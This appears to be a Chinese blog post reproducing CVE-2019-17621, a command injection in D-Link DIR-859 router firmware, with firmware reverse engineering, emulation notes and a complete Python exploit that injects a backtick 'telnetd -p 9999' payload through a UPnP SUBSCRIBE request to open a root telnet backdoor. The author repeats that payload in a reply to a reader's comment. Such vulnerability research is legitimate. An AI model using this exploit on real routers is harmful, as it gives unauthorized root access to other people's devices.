CVE-2019-17621 RCE复现

前言

这个命令注入漏洞跟之前的有点不太一样

简介

CVE-2019-17621 dlink-822/855 命令注入漏洞

存在于D-Link DIR-859 1.05和1.06B01款路由器,gena.cgi存在命令注入漏洞,导致攻击者可以通过HTTP SUBSCRIBE方法请求访问UPnP服务进行远程命令注入得到root Shell

固件下载+解包

https://drivers.softpedia.com/get/Router-Switch-Access-Point/D-Link/D-Link-DIR-859-RevA1-Router-Firmware-106B01.shtml

逆向分析

寻找gena关键词出自于哪里,有一个二进制文件cgibin包含了该字样,

符号表完整,查看cgibin的main函数,发现有个genamain

跟进genacgi_main()看看,居然有传递了个.sh文件名的web请求?

request是格式化字符串,内含METHOD、SUBSCRIBE、INF_UID、SERVICE、SID、TIMEOUT、SHELL_FILE,以及请求的php,送往xmldbc_ephp进行处理

对xmldbc_ephp逆向工程如下,其主要函数sub_41424C的作用是,通过UNIX套接字与一个XML数据库守护进程进行通信,

前文提到,提交了一个.sh文件,跟进/htdocs/upnp/run.NOTIFY.php看看有没有机会代码执行,重点关注SHELL_FILE

没东西,但发现include了gena.php,

所以跟进gena.php,重点关注GENA_subscribe_new的参数,

再跟进GENA_notify_init,其参数$shell_file, $target_php, $inf_uid都仍然受到用户的控制

$shell_file被用于指导.sh文件名称的建立,$target_php、 $inf_uid则被写入到文件里面

在执行流程过后,紧接着这个文件后面又会被删除,但是问题就恰恰出在fwrite后面执行的删除上,看起来写入的删除语句是在流程结束后立刻被执行的,所以这里存在比较特别的命令执行拼接,$shell_file直接被拼接到rm命令之后,会被命令注入

当然其它两个参数由于写在了被执行的脚本,理论上也可以注入命令,

回看二进制文件的这个函数,

看看上游是否可控

可以看到,传入需要请求的内容以后,完完全全没有被更改内容,就被发送给php了

再看看上游

看起来$shell_file、$target_php、 $inf_uid三个可用于命令执行的参数,

$shell_file、 $inf_uid是可控的

固件仿真

失败

跟从

看起来ioctl fail、hostapd这两个并不致命

补充一个/dev/gpio文件试试

但还是有那个报错,所以在shell里

echo 1 >/dev/gpio

于是干掉了这个报错,就可以访问了

复现

EXP:

import socket
import os
from time import sleep
# Exploit By Miguel Mendez & Pablo Pollanco
def httpSUB(server, port, shell_file):
    print('\n[*] Connection {host}:{port}'.format(host=server, port=port))
    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    request += "Host: " + str(server) + str(port) + "\n"
    request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
    request += "NT: upnp:event\n"
    request += "Timeout: Second-1800\n"
    request += "Accept-Encoding: gzip, deflate\n"
    request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    sleep(1)
    print('[*] Sending Payload')
    con.connect((socket.gethostbyname(server),port))
    con.send(str(request))
    results = con.recv(4096)
    sleep(1)
    print('[*] Running Telnetd Service')
    sleep(1)
    print('[*] Opening Telnet Connection\n')
    sleep(2)
    os.system('telnet ' + str(server) + ' 9999')
serverInput = '192.168.0.1'
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

复现成功

总结

这个漏洞之所以会被发现,需要知晓整个数据流,耐心地去推测和尝试

而且结合某些琐碎的字段联想出可能存在漏洞的功能,还是需要加强这方面的能力(如从rm -rf字符串拼接联想到命令执行)

参考资料

https://blog.csdn.net/ZetaByte/article/details/126362477

https://zhuanlan.zhihu.com/p/100894742

评论

  1. luyj
    2 月前
    2024-8-15 11:12:59

    您好,想问问您知道最终执行shell脚本是在哪吗

    • 博主
      luyj
      2 月前
      2024-8-28 19:49:39

      您是问httpSUB(server, port, shell_file)的shell_file吗,这里只需指定为`telnetd -p 9999 &`开了个telnet后门就好

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
粤ICP备20015830号